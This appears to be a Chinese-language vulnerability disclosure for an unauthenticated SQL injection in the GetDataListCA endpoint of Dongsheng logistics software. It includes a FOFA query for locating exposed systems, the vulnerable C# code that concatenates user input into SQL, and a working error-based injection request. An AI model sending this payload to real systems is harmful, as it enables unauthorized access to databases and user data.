漏洞简介

东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。东胜物流信息管理系统 GetDataListCA 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

fofa语法

body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" || body="dongshengsoft" || body="theme/dhtmlxcombo.css"

漏洞分析

系统基于ASP.NET MVC 架构，因此和常规的稍微不同

看下MsCwGenlegAccitemsController里GetDataListCA的实现部分

#region 期初列表操作
public ContentResult GetDataListCA(string PACCGID, string condition)
{
    if (PACCGID.Trim().IndexOf("root") > -1)
    {
        PACCGID = "ZC','FZ','GT','QY','CB','SY";
    }
    if (!string.IsNullOrEmpty(PACCGID))
    {
        condition += " and PACCGID in ('" + PACCGID + "')";
    }
    var dataList = MsCwGenlegAccitemsDAL.GetDataListCA(condition, Convert.ToString(Session["USERID"]));
    var json = JsonConvert.Serialize(new { Success = true, Message = "查询成功", totalCount = dataList.Count, data = dataList.ToList() });
    return new ContentResult() { Content = json };
}

如果PACCGID不为空则直接将其拼接进condition语句中，然后带入MsCwGenlegAccitemsDAL.GetDataListCA中，其实现如下

#region 查询期初列表
static public List<MsCwAccitemsGl> GetDataListCA(string strCondition, string strUserID)
{
    string strCwSTARTGID = BasicDataRefDAL.GetCwSTARTGID(strUserID);
    string strCwACCDATE = BasicDataRefDAL.GetCwACCDATE(strUserID);
    var strSql = new StringBuilder();
    strSql.Append("SELECT GID,ACCID,ACCNAME,DETAILED,DC,ISFCY,ISDEPTACC,ISEMPLACC,ISCORPACC,ISITEMACC,REMARKS,[YEAR],[MONTH],PACCGID=(case when (PACCGID='ZC' or PACCGID='FZ' or PACCGID='GT' or PACCGID='QY' or PACCGID='CB' or PACCGID='SY') then '0' else PACCGID end),ACCATTRIBUTE,ACCTYPE,PACCID=(select top 1 ACCID from [cw_accitems_gl] as a where a.gid=cw_accitems_gl.PACCGID),PACCNAME=(select top 1 ACCNAME from [cw_accitems_gl] as b where b.gid=cw_accitems_gl.PACCGID),gid as [id],ACCID+' '+ACCNAME as [NAME],DR=isnull((select isnull(sum(QTYYEARDR),0) as QTYYEARDR from [cw_genleg_accitems] as c where c.[STARTGID]='" + strCwSTARTGID + "' and c.LINKGID=cw_accitems_gl.GID and IsInitialEntry=1),0),CR=isnull((select isnull(sum(QTYYEARCR),0) as QTYYEARCR from [cw_genleg_accitems] as d where d.[STARTGID]='" + strCwSTARTGID + "' and d.LINKGID=cw_accitems_gl.GID and IsInitialEntry=1),0),ISENABLE=isnull((select top 1 isnull(ISENABLE,0) as ISENABLE from [cw_genleg_accitems] as e where e.[STARTGID]='" + strCwSTARTGID + "' and e.ACCDATE=(select top 1 STARTMONTH from cw_design_startusing where [GID]='" + strCwSTARTGID + "') and e.LINKGID=cw_accitems_gl.GID),0),PFADR=isnull((select isnull(sum(PFADR),0) as PFADR from [cw_genleg_accitems] as c where c.[STARTGID]='" + strCwSTARTGID + "' and c.LINKGID=cw_accitems_gl.GID and IsInitialEntry=1),0),PFACR=isnull((select isnull(sum(PFACR),0) as PFACR from [cw_genleg_accitems] as d where d.[STARTGID]='" + strCwSTARTGID + "' and d.LINKGID=cw_accitems_gl.GID and IsInitialEntry=1),0),STARTMONTH=isnull((select top 1 STARTMONTH from [cw_design_startusing] where (ISDELETE=0 or ISDELETE is null) and gid=(select top 1 GID from [cw_genleg_accitems] as d where d.[STARTGID]='" + strCwSTARTGID + "' and d.LINKGID=cw_accitems_gl.GID and IsInitialEntry=1)),0)");
    strSql.Append(" from [cw_accitems_gl] where [YEAR]=SUBSTRING('" + strCwACCDATE + "',1,4) and [STARTGID]='" + strCwSTARTGID + "'");
    //
    if (!string.IsNullOrEmpty(strCondition))
    {
        strSql.Append(strCondition);
    }
    strSql.Append(" order by [YEAR],ACCID");
    return SetDataCA(strSql);
}

strCondition也是直接拼接在strSql语句里，然后用SetDataCA进行执行

全程无过滤或校验，导致SQL注入漏洞。

漏洞复现

POST /MvcShipping/MsCwGenlegAccitems/GetDataListCA HTTP/1.1
Host: dongsheng.mrxn.net
Content-Type: application/x-www-form-urlencoded

PACCGID=-1')and 1<@@VERSION--

通过报错注入在响应里回显数据库版本信息。